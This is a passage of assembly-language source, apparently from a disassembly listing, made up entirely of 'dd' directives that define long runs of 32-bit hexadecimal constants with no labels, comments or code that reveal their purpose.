		dd 0A2241592h, 0DAF5E309h, 0FE600422h, 21ED47C1h, 0B25E6102h
		dd 344B1C91h, 7704EE33h, 0C1F8469Bh, 0E9341620h, 0A81E213Ah
		dd 5B9EF66Dh, 8F5EF8BAh, 0BB402244h, 666EEEECh,	0A550F97Fh
		dd 0F8C5FE18h, 0FAB52075h, 25F47006h, 72ECF2B4h, 60F41A1Fh
		dd 0DCCEF4E7h, 1AE92602h, 86B33517h, 97872186h,	31943173h
		dd 242A20A5h, 92B1A0B9h, 0F67BEEF9h, 0DAEDE05h,	0C035DBFCh
		dd 0A48B17B0h, 0AD44B564h, 97A350BDh, 0A90015E4h, 8E59BA19h
		dd 2872CAh, 5ACF78F5h, 8A042F94h, 37446913h, 24AC6AEFh
		dd 7CC0F61Ah, 5F20C8Ch,	2B76B3B9h, 0E21DB6D2h, 0F9027F94h
		dd 0B67763F8h, 0E84DBD06h, 31045247h, 419D782h,	1545C20Bh
		dd 66C1655Eh, 653D4BBBh, 852F4094h, 159717D8h, 0E2C94622h
		dd 7AE5D712h, 8CB517F2h, 7900B40Eh, 0C8134DC5h,	95CF9AAh
		dd 5740C2Eh, 9670A973h,	9EFFAF1h, 3B859BA4h, 6E472079h
		dd 0F42CDC09h, 6BBAE304h, 2F8C71B3h, 13D9F0BBh,	4524BF7h
		dd 907B5AFh, 0E435775Bh, 35831D91h, 1AA8D027h, 9F16CBB9h
		dd 0C3008498h, 0A3F4D981h, 45BD132Bh, 0E107F403h, 0E5DCB325h
		dd 0D2B11024h, 3080B3DAh, 0F9CE3EC4h, 5CDB629Dh, 3F9C5117h
		dd 0ADB274A7h, 574AC1D7h, 2528B36Ah, 1507E55Fh,	5FE86432h
		dd 7AA7480Bh, 7D180240h, 21DE092Fh, 23CF1740h, 776B0034h
		dd 8A5BB679h, 605D5FF9h, 9D2ABCADh, 151C6B51h, 1A5D7671h
		dd 9C8B6002h, 16614DFh,	8CFA4283h, 2074E332h, 1D4001CEh
		dd 518B9761h, 0FEC1B04Dh, 303ED87Ch, 9D0152B2h,	27A4BD59h
		dd 0D8507B5Bh, 5E01D9C8h, 0A6A076B5h, 196EE38Ah, 0C26DF29Eh
		dd 116E825Eh, 9D4A265Ch, 0A851790Ch, 0B8265A5Fh, 0DE70958h
		dd 8B8C796Ah, 2D7E50F8h, 68F62F40h, 0C8FE3BB0h,	53031375h
		dd 0AD8C84DFh, 14B81Eh,	104B1BC9h, 29BA893Dh, 0BFF8F8C1h
		dd 26DD8462h, 68FC5880h, 0A39A8239h, 0F425C798h, 0C62061BAh
		dd 9C5C84D0h, 0C109DC2Bh, 73537C27h, 15443AB2h,	70D4DC0Eh
		dd 0F71BA0A3h, 393C7276h, 94017D65h, 0B5BD8950h, 5FFF521Ch
		dd 56BB05Ch, 9EFAF6CAh,	0FDF4C361h, 0AD4CE9F0h,	6390CE47h
		dd 25BD2905h, 0ADCE1685h, 8995A7B2h, 60134F7Fh,	0DBBF0F28h
		dd 0DC760B97h, 0C0E6F62Ah, 0A02516B0h, 68AA5640h, 17290993h
		dd 0C4A59D73h, 30F202C4h, 0B4249CB6h, 1003D459h, 0B175EDE8h
		dd 50A7AA11h, 0C01C7037h, 3D65FC42h, 2EB35C52h,	0FE5F13CDh
		dd 984EB26Bh, 6E1D5963h, 0FC00783Fh, 20E4BBCCh,	850A4B7Eh
		dd 17046FB8h, 9BBAA94h,	7E00CB20h, 0B36037A7h, 0F8D5EB50h
		dd 305615Eh, 70F8B947h,	856EDB4Fh, 8AE9E4Ch, 0E251BDFh
		dd 0D3B8F733h, 804BDAB5h, 0A616DC8Fh, 0FBA90450h, 0BC7296B2h
		dd 41320E2h, 104EE068h,	54C8BBAAh, 0EB51C1Fh, 844E6656h
		dd 0EF5F1C5Bh, 1823046Bh, 9B65E27h, 0EC66A8CAh,	0F19D0908h
		dd 51602D10h, 0FBB45BFAh, 0B2DE8B89h, 386613h, 53080C02h
		dd 61FA1032h, 0E89D0B98h, 0A28E0F47h, 0A9595514h, 0C6B8F813h
		dd 4C9ABEF4h, 0FEC7C49Eh, 8055FC15h, 6BD6A5CCh,	3BF439h
		dd 350C2524h, 215CBA9Ah, 4BC7A6A0h, 258A924Bh, 79102325h
		dd 8FF40BA1h, 0F30E4Fh,	49DDE924h, 0B147E04h, 8A92F561h
		dd 2289C1DDh, 0A0F23B2Eh, 54AD8D09h, 458FD82Bh,	29444002h
		dd 3EF3D195h, 688BD4F3h, 0C6BFA6A0h, 79520D52h,	2556CDA9h
		dd 40F08066h, 0B70596B1h, 711681A2h, 4E8E22EFh,	0CB40D1C0h
		dd 916C1405h, 2AEA5FF5h, 843D80FBh, 7EDF52h, 0E5D8CE2Fh
		dd 4A7ABFF2h, 0DC309425h, 1446D6D1h, 0D302683Eh, 1D4A493Eh
		dd 59697A5Ch, 8F10A7F2h, 0A801F66Fh, 302F40ABh,	0F7D84DEDh
		dd 400FBE06h, 148A11BAh, 5B530D00h, 0F9BF6696h,	1E504A7Dh
		dd 746D6DB5h, 902091C7h, 17057974h, 0A8D58501h,	0AAA8A4B3h
		dd 0EE5F8189h, 0CA5B97BAh, 7B191759h, 896174F5h, 5191C43Eh
		dd 0B6E8BF97h, 0C804DBF8h, 0F56DA86Ch, 79C39DBBh, 999A8D9h
		dd 13D5A992h, 0C4869482h, 0F8121477h, 291125B5h, 8E92985Dh
		dd 28BD0037h, 74FB3B66h, 0D01F6BAh, 244BE2Dh, 0B7382AFEh
		dd 2B2989D7h, 43B24F0h,	31958699h, 5A02BC60h, 1800476Eh
		dd 3033C9DCh, 0CF70FE21h, 77217B4Ah, 0EDF8D49Dh, 17E1005Eh
		dd 0F5D794C2h, 88121ABBh, 30F122FEh, 0E0D7A62Ah, 7ED4974Ch
		dd 3143BF8Dh, 696BEF8Dh, 0EB011823h, 3B05B1A1h,	21A0097Ah
		dd 0B34A9677h, 0BBBD586Bh, 869FD91Dh, 99E6DDB9h, 8D684D68h
		dd 5F84BC96h, 0DA03A404h, 0A01ACABEh, 33F5E83h,	0E9A13368h
		dd 0B59DC973h, 2EA26A3Dh, 20FD8862h, 81E9545Eh,	96931164h
		dd 701BC76Ah, 1BAC0890h, 5F05E1BFh, 930DC56Ah, 969237A1h
		dd 27017CE0h, 0D64CF791h, 6D0325D3h, 9BF06E6h, 46E659EAh
		dd 0ACADA560h, 7E429FE0h, 0EB230694h, 5DE59D33h, 0B574B324h
		dd 44B63412h, 0D4881EF0h, 96673C01h, 0AE2D7DDDh, 41E5ED64h
		dd 0FDB2CF31h, 293FEAF7h, 0FCBD7781h, 301F4A80h, 97D3D4FDh
		dd 0B0BF1998h, 0CE191A38h, 14B2F1E6h, 0E5711631h, 2C8A6Eh
		dd 6351EAABh, 8AF26Fh, 759866B7h, 0E03841A7h, 64B6CD9Dh
		dd 0B636601Bh, 647C024Ah, 232F93ECh, 652520D9h,	4E2411E7h
		dd 0CA1F9820h, 546C0129h, 25B537F6h, 5F646052h,	0FA352EE3h
		dd 0C69F08AFh, 0DBDDBB01h
		dd 8F3B1973h, 3AB94A95h, 1B02E8A8h, 9A12F958h, 0E010F791h
		dd 0F521B509h, 2CBF010Eh, 2E274C6Ah, 0B7528D30h, 2DA392A6h
		dd 0C974DA8Bh, 7098BF9Dh, 1AE8BB92h, 0E5D3E2Ah,	0F78A4360h
		dd 265E3931h, 509EEF65h, 0AE61D2BDh, 21D88h, 0FBFCCECBh
		dd 495DF507h, 0DBD52103h, 0B4D88ACDh, 81004BB8h, 0A7B55F3h
		dd 0E4BF9023h, 0C7BF002Ah, 99A46EDCh, 8C30A359h, 0BE60A6E5h
		dd 0A22700D8h, 61E3B378h, 311A5290h, 56D3E595h,	0B18B17B2h
		dd 8D6824C9h, 440130E5h, 7522A212h, 6BD309BDh, 4B12DC8h
		dd 25CD0668h, 0A91D742Bh, 25A0A8CFh, 7C03BB7h, 2143C19Dh
		dd 0BDD58CC9h, 0A6F0AF0Ch, 0F09DF80h, 0A54D8B9Dh, 0E130020Dh
		dd 0DFF242h, 0B47B31DEh, 2B305DD2h, 40211A01h, 50907585h
		dd 21618D7Ah, 0CBC620D3h, 0B6CC2F5Bh, 0C8C1BF90h, 84BA1455h
		dd 4826FC5Fh, 429E4EF7h, 0AADBDC82h, 0BFC1A40h,	4BD9D17h
		dd 0DC2A3A4Bh, 8AC7705Eh, 0BF4BC682h, 0B61622C6h, 0FDF90C35h
		dd 122F7CB8h, 6577823Fh, 7F30F7EAh, 489CD8BFh, 0DC585EA5h
		dd 2082901Ch, 870B1E5Eh, 5632620Fh, 682C93Ah, 5B090CDDh
		dd 8460183Ch, 9D3201FEh, 0F7612385h, 17916035h,	0B6526580h
		dd 874C0FCEh, 0B7FFCB64h, 261780EAh, 45718891h,	8EF7430Bh
		dd 2D108218h, 95B5211Bh, 35A20419h, 3457DB00h, 4F6066CFh
		dd 0EDB92409h, 865567Ch, 85621115h, 2DE90203h, 0F7AE870h
		dd 96F945BDh, 1E30EBB0h, 0B3AA3Ah, 0BED8E139h, 925C1DC9h
		dd 541F0E00h, 847497Bh,	70E62884h, 0E4F902B3h, 0B9BD3371h
		dd 5B9F4A78h, 9893A78Ah, 0CAA5F8F0h, 44B3470Eh,	0F2BE6061h
		dd 9E09FA3h, 33A64BD1h,	0EC966570h, 30EEAB13h, 12AD9585h
		dd 5222DC84h, 4941EEC7h, 0FBCDF781h, 0B845122Eh, 45B2D25Eh
		dd 0E9091621h, 0E021E4A3h, 880F2D9Eh, 0C504FFEh, 0A4AD0079h
		dd 0C272D4D6h, 340B1821h, 7B6E04Eh, 1698897Ch, 86F257h
		dd 0D6BD6D83h, 58324C73h, 0BD5B91A3h, 21663BC0h, 0F9A53DDFh
		dd 111759C9h, 0B8856E9h, 0A58006E8h, 1B051D9h, 8D3125CAh
		dd 5B97FFDCh, 535132FAh, 22256F61h, 0DEB14F02h,	1438A67Fh
		dd 77C2784h, 4B56EF81h,	2200A5E5h, 31BD0BFEh, 0AA12B71Dh
		dd 24749E08h, 0E0800CA4h, 3097D81Ah, 9FFDEC64h,	0BD086F3h
		dd 9D630C5Fh, 0F542A9CFh, 0B9B58909h, 0A5C55F06h, 7643525h
		dd 6F5209Dh, 7520D021h,	6EB9141Fh, 1EC48808h, 7789B848h
		dd 992DEB07h, 0BF70236Ch, 9FB8A47Ch, 0C08044F1h, 9AAB8A7Eh
		dd 0B43D4B50h, 6DF92B9Ah, 51BBB86Ch, 13F2D1EDh,	2B1682C9h
		dd 4BB7C488h, 5E2C9BB2h, 700BA96Ah, 0C87BA673h,	1A92D70h
		dd 298C87FEh, 3E761A8Eh, 0A9A428E6h, 1548082h, 5D64D86h
		dd 855A5683h, 489CBE87h, 96224355h, 4AA0BBA6h, 8012F537h
		dd 8DE394CBh, 0DFE204Bh, 91380F1Bh, 158D92B7h, 62D89400h
		dd 2D112224h, 4DF4F042h, 0A7E7007Dh, 0A1B51BE3h, 0F620DB4Eh
		dd 0EDCEEAh, 0C8DD43CBh, 6DE6E444h, 0C3B41097h,	0FCE800C9h
		dd 0D83695CDh, 4512BA7Dh, 91E21FDEh, 89A88288h,	58828D79h
		dd 0C17B9DC1h, 1C7AA4D0h, 0D2DC8ABBh, 0B28CE640h, 7345301Bh
		dd 303BE501h, 2B7D9D99h, 0B711CDCCh, 56FA4ED1h,	97AFC3EFh
		dd 2421C7EDh, 0C938AE26h, 87BC8694h, 5F4902D4h,	36F67511h
		dd 0A556A362h, 0B77E7F51h, 0B111B7E0h, 136E9217h, 4DE70B42h
		dd 0BD12FFFAh, 0B3B818A1h, 262C0EE2h, 601740DDh, 8B95E798h
		dd 4B38543Ah, 22D49075h, 5A7F97h, 49B85E92h, 1BAFBF76h
		dd 5F44F812h, 97FCBEEh,	43F15Ch, 763347B3h, 46242F86h
		dd 5412AE5Eh, 662D41E1h, 0DE0131B8h, 0C6C7D9D3h, 482E6E43h
		dd 0EDA55537h, 18E7C228h, 3D71FD46h, 2F415401h,	481A606Bh
		dd 4DD85FCh, 712CBCAAh,	736BAAC1h, 381F1723h, 0BF153D4Ah
		dd 61F5DF04h, 56DF68B9h, 1CB90252h, 12DD588Ch, 0E1D0D40Dh
		dd 30FF579Ch, 0E53A943Bh, 99C30536h, 5FA8C7B1h,	0E1F8F692h
		dd 940E829h, 81855h, 6FEDEACFh,	6478445Ch, 901E1F4h, 0FBA081C4h
		dd 7C68FE3Bh, 3138E80h,	5F5EA24Ch, 987A5D87h, 0B1B53140h
		dd 0A826BD18h, 68040D69h, 0A3400E65h, 9A04AEA8h, 0F65CDEF5h
		dd 6177E2B8h, 629208F0h, 0EBBFC541h, 1823A66Bh,	9190C600h
		dd 2D29E4B2h, 7A24319Dh, 0C5ADB8F4h, 2C12880Fh,	4BE981A0h
		dd 0DF89C8ACh, 738C0B97h, 46CDD8FCh, 75197A02h,	0EA7BA36Eh
		dd 56DCCA43h, 0E78160B2h, 0D6254C7Ah, 9599C656h, 60576C99h
		dd 4F9C064Ah, 0D11C05DCh, 17B28F4Fh, 5055EEF5h,	8C19B893h
		dd 80F4A802h, 78D86039h, 44628DAh, 65D561E8h, 6B75B750h
		dd 25BDD4E4h, 0D9D63391h, 33E86DEh, 3B556841h, 13A861C0h
		dd 1F01A0DEh, 0A5F9D3BFh, 748F814Bh, 2E5FDDECh,	8412DEC1h
		dd 16E24927h, 0F17CE64Bh, 0D4C022ADh, 0B31C09F4h, 1B7D500Bh
		dd 7184B252h, 0BE04129Ch, 0C45E506Fh, 17F9824Ah, 80BFEF5Bh
		dd 0BD80585Ch, 1E1F3CBh, 32668192h, 0E0C7CA25h,	0C3FE561Eh
		dd 0A5C1F548h, 0B0A07BF6h, 5517D5A3h, 5F048E66h, 610B1531h
		dd 0F172F9F3h, 0C0438E7h, 0B8D26286h, 9D89B17Dh, 0CE2A28C5h
		dd 0A6515B70h, 7C54BCE1h, 13AD7F2Fh, 88CCF1EFh,	24007A29h
		dd 83B8483Ah, 7F8AAC50h, 974470FDh, 0B3D062D3h,	0E8A50126h
		dd 0D5E9EB28h, 559D2109h, 4E6BEBA9h, 973018E2h,	74F416ECh
		dd 32FE88ADh, 81B5283Bh, 41065BE7h, 0D2CC0169h,	48297E08h
		dd 651231BEh, 8436DE11h, 0B1F249C0h, 8FCD16h, 3E03A571h
		dd 0B6FCEAF3h, 0EEF2CB01h, 1F250990h, 51E45CCAh, 8D891126h
		dd 432312F9h, 8B1313CAh, 4D429E9h, 41746DEh, 45A5D573h
		dd 564B8Ch, 0D9CB338Ah,	575B35CFh, 8700A9A6h, 59E61893h
		dd 283422h, 12EF0C77h, 0BF357B60h, 0A3B85B4Fh, 162C03AAh
		dd 0B9A75B36h, 7F78AF20h, 94CB9A39h, 0BA9EBA41h, 7CB59C80h
		dd 6C05E859h, 0F1658805h, 0D2E6DABBh, 38127CA6h, 6C6F0563h
		dd 0A3D18796h, 0C0A6BB3h, 0D5094DBDh, 75F20351h, 0DEBB3D68h
		dd 42270A12h, 6A5BD8E7h, 0FF709E8h, 7147128Dh, 0D1370069h
		dd 10365DD0h, 31963E62h, 815B001Bh, 2115ACCBh, 5BB06D4Ah
		dd 95B075F7h, 71079CB9h, 16CBCAD1h, 52C42Bh, 0A2A64858h
		dd 19C295Ah, 0DBD3E4Bh,	87647C8Bh, 0B86EC800h, 7A038179h
		dd 4D3300B4h, 9529C3A1h, 568A0A21h, 0B75D49F9h,	52B8BFEFh
		dd 0FB828D80h, 0FEFBF5Dh, 9668419Eh, 568062CBh,	2BFE2FF7h
		dd 7FC35849h, 0EFCD95B3h, 0D1601964h, 70124A52h, 0EBB95D99h
		dd 278C15ACh, 0B760F3FAh, 6A4FA842h, 0F4BD4AB9h, 0C1006A88h
		dd 0C9AC73B6h, 93FB8B63h, 10D92F69h, 24DE4801h,	7A8E1A5Eh
		dd 5F6BF0EFh, 10993E6h,	5C186185h, 20FA40B3h, 669F6050h
		dd 94D9954Ch, 94C76AFh,	0C55C619Ah, 943F74DEh, 3902132Eh
		dd 0A83C699Ch, 2F1A0491h, 0A289D6AAh, 0C6F5255Ah, 0D71ADECEh
		dd 0E38EB807h, 0CDED844Ah, 0D3DE6DE9h, 9D1871F6h, 8D3179C9h
		dd 0F9176525h, 0FEBBB9B2h, 40DD104Ch, 0A939AB7Fh, 0A99D3102h
		dd 2B3F7FE5h, 0AD3AF300h, 25BD2BF8h, 0E2DC1471h, 0FAF51E4h
		dd 9D18D7Bh, 0DF323185h, 41290492h, 0BB819459h,	374A6C4h
		dd 6C70282Eh, 2E7A6FE1h, 55EBA402h, 0AC7614DCh,	9ED2C740h
		dd 4A67597h, 0A4CDA58Dh, 8605EA8Ah, 0DEEB2215h,	0C84D805Bh
		dd 7D9D2B54h, 84C2BC35h, 0AFC6AFB5h, 0B104C248h, 6E693B1Ah
		dd 9582FEF3h
		dd 0A80819E5h, 25FE7A27h, 86709BE9h, 4A4A6658h,	238928F8h
		dd 915A3777h, 0AB0C8415h, 0E6CADF80h, 7B109750h, 3F00EEFBh
		dd 0B3878BF8h, 9E67CE04h, 0D01B401Eh, 835B72A7h, 0E4416BDh
		dd 42170961h, 5BA2A146h, 0F5067130h, 85090A06h,	135F1F01h
		dd 0AE0917CEh, 0A000AE6Fh, 5612FD0Eh, 3E98902Bh, 7E29804Bh
		dd 3ECC57F6h, 2C5FAB7h,	0E033791Ah, 0C8E09965h,	61813181h
		dd 0BA09162Fh, 5790600Bh, 1CA1D490h, 859AEE00h,	0D66222C7h
		dd 99B3018Ah, 900C0A8Eh, 0BE3B50E7h, 60E2DAD4h,	190FB300h
		dd 0D70B1730h, 9CFA02B2h, 5B884308h, 0A3741857h, 0F74400A9h
		dd 0EEAE6159h, 84D29074h, 556005AFh, 0E733AF18h, 290A24F9h
		dd 0BC2516B9h, 59E6B42Fh, 74F613A0h, 17B2F748h,	4B1425Eh
		dd 8E6B8425h, 0D5440023h, 0AC557BC0h, 8F4004CBh, 191721Dh
		dd 0AEDD4DBFh, 511C5EE2h, 0C91B7C81h, 7F1AF705h, 4AD438DCh
		dd 5064E9BFh, 0DB49CF66h, 849B5E4Bh, 38C84181h,	934C8951h
		dd 590F7BF5h, 13B181Bh,	91671DA2h, 2007695Fh, 64045F8h
		dd 0E3E54AE9h, 0BD88954h, 8093B78Eh, 1201288Eh,	0FC0967B2h
		dd 1A66D42h, 1B72DBC9h,	4F4D5A30h, 0FE7A09h, 0EDD77C8Bh
		dd 9252931Ah, 0E35B4B54h, 8F517AFCh, 42302E69h,	5CF81F8h
		dd 446C49CCh, 0BC142490h, 0DADE3DFFh, 0EC953C8h, 15D9E148h
		dd 5B3B3AA2h, 0FBA7365Eh, 1E53D812h, 0B2161000h, 0C68B2923h
		dd 0D473978Ah, 1E3E4ADh, 71531DF6h, 299EA0BEh, 0BD23C491h
		dd 0AD0752EFh, 0C3E1927Eh, 955667C8h, 5F78AB60h, 6DFF6A25h
		dd 0D4DFC544h, 5DE0AB7Ch, 8D875B0Fh, 0DAA22FAEh, 0A78D0B1Dh
		dd 56697DFEh, 81D45284h, 5927D440h, 0A3B61CF1h,	0F38000B0h
		dd 0E470E632h, 810F7114h, 0DD1D5015h, 27CC114Bh, 0F78088EBh
		dd 0A3B9D44Bh, 3D3DC8D2h, 0B0B2C225h, 0BA9E265h, 7A5BCB45h
		dd 0FE5C7009h, 18A16040h, 5F1909B4h, 0E5FF461h,	139B4F5Ah
		dd 0C9B7F601h, 4BD7B057h, 84AEAC20h, 0BB352A0Dh, 3958Ch
		dd 87DE3D2Fh, 4E7A5DACh, 61C046C4h, 0BBC184BBh,	0A3D9CFC2h
		dd 97FE9A1h, 0A9952939h, 8AC2137Fh, 2B600031h, 275841B5h
		dd 9E07CF1Ch, 77041989h, 0E414B918h, 3B121F0Bh,	0A49AFDD0h
		dd 0E3A9C880h, 565D10B2h, 132452A6h, 93333FE9h,	0EF194A19h
		dd 6824525h, 75F2A9E1h,	3390B794h, 1FCA0CFAh, 0FE1F1BA5h
		dd 0D0C56876h, 0EF4B6826h, 20B92224h, 6107ED82h, 0E5226D5Dh
		dd 3DAC0DF5h, 7BE63E8Dh, 0D62B5268h, 229F6D50h,	84BCE73h
		dd 0C8B943CDh, 1BBEFEAh, 0D2B9E220h, 48612207h,	28E192BFh
		dd 1036E2Bh, 0C2891519h, 0F4E6C886h, 0EF81606Ch, 7801CBC3h
		dd 9D23FC6Fh, 993F03B1h, 0C20AF0BEh, 2129C900h,	4A619D35h
		dd 0AF05032Dh, 6FF67C1Ch, 0BBFD4E8Bh, 7627491Ch, 0B607E0C5h
		dd 78003869h, 45A253B8h, 4B5A8836h, 0F674C461h,	3D88E025h
		dd 2DD248F1h, 0EB070D13h, 0CB80E860h, 739E97BEh, 0B92512B0h
		dd 0D0A8DB2Bh, 0DD1D3F79h, 5CE5A86Ch, 18826948h, 0AC4164A9h
		dd 0A8A77F5Fh, 6859E0F1h, 58F980F8h, 0EBBC77h, 292BF56Dh
		dd 7C439CA3h, 0E2EDAF02h, 79B45EB6h, 820F8428h,	6328EA0Ch
		dd 0F9853931h, 0D3E7E2CAh, 9500E06Bh, 0B968050Ch, 78B5BBE9h
		dd 2D5FF8DEh, 679D98Bh,	0DB6ABF71h, 0E067C0A4h,	7873D509h
		dd 80C999F5h, 4DD18ABCh, 0E001CEE7h, 655F3D36h,	802ACCBEh
		dd 5BA31B2Eh, 5A669497h, 0C0139E73h, 89C4E3C2h,	2321259Dh
		dd 291784ECh, 0CE441D85h, 6ABC7CB7h, 8EC0F2D0h,	0B72874B1h
		dd 0D40006E6h, 0ECD17E2h, 27C3AC0h, 275044F4h, 56DE1FFh
		dd 25C4DBE9h, 760957C5h, 773D7504h, 0C9373A02h,	51535E74h
		dd 79B91765h, 0E9214726h, 5CF4C3F4h, 0A7262750h, 7905906Bh
		dd 0DCD0B4h, 6410DC31h,	0BC268830h, 0B72E32E6h,	0CD600C9Ch
		dd 500A5Ah, 3866570Dh, 86FD1ACFh, 0EB33109h, 4B7F78CEh
		dd 0F14DC4F8h, 2D482EE2h, 1C467E67h, 74877600h,	9398E4D6h
		dd 1E47BB2Ch, 380F0508h, 33B99D89h, 4D6B9759h, 1B9D400Ch
		dd 8FEEF5FFh, 6D402A9Ch, 73C0F10h, 51D5F790h, 157CD034h
		dd 0FEE2A21Eh, 0DC5BCA25h, 77B5EBF8h, 0C6F7EB00h, 99772F3h
		dd 5307366Ah, 7C9DF7C4h, 73E3802Bh, 8BB56DABh, 0E7ECFA4Ah
		dd 57602Ah, 0FFE26C2Fh,	8FAD52B2h, 0FCB7201Dh, 91BAA1C1h
		dd 95C8E0B4h, 52502C5Fh, 19F5CB5Ch, 601061DDh, 901E1EBFh
		dd 6A920D92h, 337AFAh, 0F88BAA8Dh, 34D1E368h, 0AC0E46A3h
		dd 0D21C0F01h, 0F3E132BCh, 0B4ABF66Bh, 1B8A6EBh, 5A401018h
		dd 342FF8CFh, 0CB82802Ah, 0E9124BD1h, 60FB01EEh, 0CA5741FAh
		dd 0A3649100h, 0B8AE2369h, 4CE80239h, 0A1F4411h, 955CBE0h
		dd 4CBC595h, 0BCE5EBBBh, 0E6DD4B1Ah, 5607786Ah,	0E65FF925h
		dd 3A44952Bh, 0B23C9101h, 152623E1h, 8D4B2A3Ch,	8AA36E3Ah
		dd 649CF600h, 9BE62A0Ch, 6A07DBECh, 581D2D12h, 0A22665h
		dd 53A93802h, 0F48598DDh, 0C9EEDB06h, 4E644Bh, 0FE796F30h
		dd 8D292FD7h, 0C91D2524h, 89331F72h, 3D77F9C8h,	628B80AEh
		dd 5AC534E5h, 31F8A0A1h, 84E92EBDh, 0DDC97EC3h,	60E8E3B9h
		dd 8BBDDFDEh, 969337BFh, 5AF5B9D8h, 5779AB6h, 6EEA4468h
		dd 907E8C7Ah, 0E43BA900h, 62982D6Fh, 0C6BA0364h, 437DA318h
		dd 4EB6D2D8h, 0BB099692h, 777A71E9h, 0BD164DC6h, 0AAB91D51h
		dd 5389FFD2h, 30FBFC93h, 1E2FCE13h, 2B11400h, 0FA455EE9h
		dd 0FD151E55h, 82938C67h, 640D156h, 9573B75Fh, 0B2839200h
		dd 0D639AEh, 989057D7h,	7217916Fh, 60559300h, 0B3565E61h
		dd 0B75A5FF9h, 189DE09Bh, 0E06409C0h, 0A1C0BD6Ch, 0C3821961h
		dd 4EE1C52Eh, 0F7E8DC6Ah, 6EAE0C4Bh, 0E4051F53h, 3477C043h
		dd 3FD3A8AFh, 647E250Eh, 53926BE5h, 0CA4A23BDh,	442F3827h
		dd 245D25B5h, 5F091A5Dh, 4200B8B7h, 4D66D2FFh, 0B7D713B6h
		dd 8C6BEE8Fh, 779015E2h, 0EAB438B9h, 0ABB13CDCh, 0C5923D80h
		dd 0BF6648E8h, 0E5084225h, 5BDF180Dh, 2AF49D8Bh, 250D9C97h
		dd 0DEFB03CCh, 2DDE27D0h, 0C253FDC9h, 73DBB709h, 0C1DBADE6h
		dd 6996650h, 0C4B5F43Bh, 0E14EE8ADh, 1D260BFAh,	0E6ECBA5Ch
		dd 0B9174B11h, 0FE96CB3Bh, 0B7DF2887h, 825F806Ch, 0B64A58E6h
		dd 83E64BBBh, 0A5BE9CA0h, 433039h, 0BFD92011h, 6542EC44h
		dd 0BB33BE4Ch, 1DB0A78Ah, 403F69EEh, 550125FDh,	980E6A8h
		dd 0D0E92605h, 16D7DAADh, 581C93FDh, 0F8E6F95Bh, 0CBDACF3Bh
		dd 1CAD95B9h, 0C80226ECh, 7AFED267h, 0E4355761h, 0DF9D1791h
		dd 0B95B92AEh, 88284E2h, 7CFC5349h, 0B94F1611h,	603BAD1Ch
		dd 201A48D0h, 3CE2BB04h, 0ECB83306h, 6893885Ah,	0F8769D00h
		dd 1150FE88h, 8BE700C0h, 29B28754h, 2B4B09B5h, 205043D1h
		dd 0A5C9D843h, 23F36FAEh, 10FD251Ch, 5ADFE75Ah,	532F3BDh
		dd 1D559589h, 0D6F99BBBh, 13370CD8h, 0ED8D89BAh, 149E4BB2h
		dd 475C2080h, 7D0087E5h, 0BFC7A55Fh, 4A454FCBh,	0B2E4B651h
		dd 54E5301Ch, 0A7638900h, 55AE566Fh, 0C0B0BFB3h, 0CD499D29h
		dd 9EBC5B0Bh, 3D525F3Ah, 515D304Ah, 227F20B4h, 9404F8E4h
		dd 85894CF5h, 5B6191EAh, 0E7302E5Fh, 4315BD23h,	0D52CC925h
		dd 0D88E4B3Dh, 0A5DF4978h, 88FEFB60h, 242714Fh,	1ED08693h
		dd 0DC0B6D27h, 0E0FB5A8Fh, 2068E50h, 0CBE61ADEh, 4DFFF242h
		dd 91B06B87h, 0D212BB53h, 3ACCACAEh, 9DC25DD6h,	45A9FC0h
		dd 394B9757h, 8502F58Dh
		dd 51F35CD9h, 80041420h, 9DFB31D1h, 0EC03F6Fh, 0BFC64DBDh
		dd 0C7D4B830h, 4E8F9B14h, 5FB34AEFh, 0A070A6D7h, 33F18E2h
		dd 3ACC9162h, 9EB6FAA0h, 4AE95D44h, 3A68E121h, 0A192E6A8h
		dd 8BED8FC0h, 32E7A1C1h, 218223E9h, 2FFB3887h, 0E2BF6F5Dh
		dd 5B0004F8h, 4DC5707h,	0E863F370h, 0F3D0AF44h,	0E16AEAh
		dd 0E962F24Dh, 41025FA9h, 369A1101h, 7AB2030h, 23330840h
		dd 0C68F00A8h, 0F6A5C955h, 5253730h, 0C7BFD6A1h, 31CD2217h
		dd 0AF686057h, 58E00BAh, 0FABC9CA9h, 0C9001356h, 0AE106ED1h
		dd 15A4FCDh, 0A3B3B01Ch, 0BCFA49E5h, 48198311h,	975B4E08h
		dd 81DDA140h, 0C2BE01CFh, 7CDC6980h, 400DF9F7h,	0F9108FF7h
		dd 41EBD00h, 44CC6BE2h,	203E00A1h, 95390DE6h, 0C9078FCFh
		dd 347DDD65h, 9C14EE20h, 8C3A0757h, 42EBAD99h, 29A06EF0h
		dd 77312123h, 0FA566200h, 3AA9EF6Fh, 9B37C1E5h,	0C8BC5BE7h
		dd 0B42F83C1h, 0D3F3E89Ah, 5EACA07Fh, 2A8DA4FAh, 388A27Eh
		dd 0FB9EA0DCh, 38111096h, 0FE7906DFh, 518E22Ch,	10A9BEBCh
		dd 53E38350h, 97AC0097h, 2D0181C7h, 74054313h, 0FFC3608h
		dd 47D895A3h, 0AF73E018h, 0A041167h, 97C79C30h,	0F9B503A7h
		dd 1F1C986Ah, 83891D08h, 0B2107527h, 0FE00FBEAh, 0F977E868h
		dd 62563Ch, 9BBB8824h, 0AEB0CCDDh, 83C91B50h, 3A1A2F01h
		dd 4B91D07Ch, 0E2E71130h, 514402B3h, 6BC78E17h,	2E3BB482h
		dd 3DA5405Dh, 0F03562CCh, 8D265729h, 0BAF3187Fh, 9834EC16h
		dd 0F389C929h, 0D86D681h, 0E02B9EA1h, 4C000CB3h, 53EF930Ah
		dd 0C30E43B4h, 1487CE54h, 0DE0358E3h, 72576376h, 3B693B50h
		dd 0B41DE11Eh, 0CA5F1C1Eh, 541BF1Bh, 2749095Fh,	1C418FB3h
		dd 30CBDE60h, 0F74B53CFh, 7C1517ADh, 0DD0FA39Fh, 43209DA1h
		dd 5105606h, 2C6D3115h,	892504ECh, 91AF99B9h, 825A0EE7h
		dd 53677236h, 92665476h, 1673EBD2h, 0F4B288A2h,	18EFC058h
		dd 1176DA64h, 0C6D16D00h, 72E2667Fh, 0C9890EDEh, 0D45E9A8Fh
		dd 7640B96Ah, 0C896894Dh, 67243CB7h, 0A7037C30h, 88332C70h
		dd 39BBFDE8h, 0A8B85217h, 89FBEE9Ch, 825FC965h,	5DF30906h
		dd 2BA77341h, 0A12E87E5h, 82DCDC03h, 1B67CE09h,	1C2E0047h
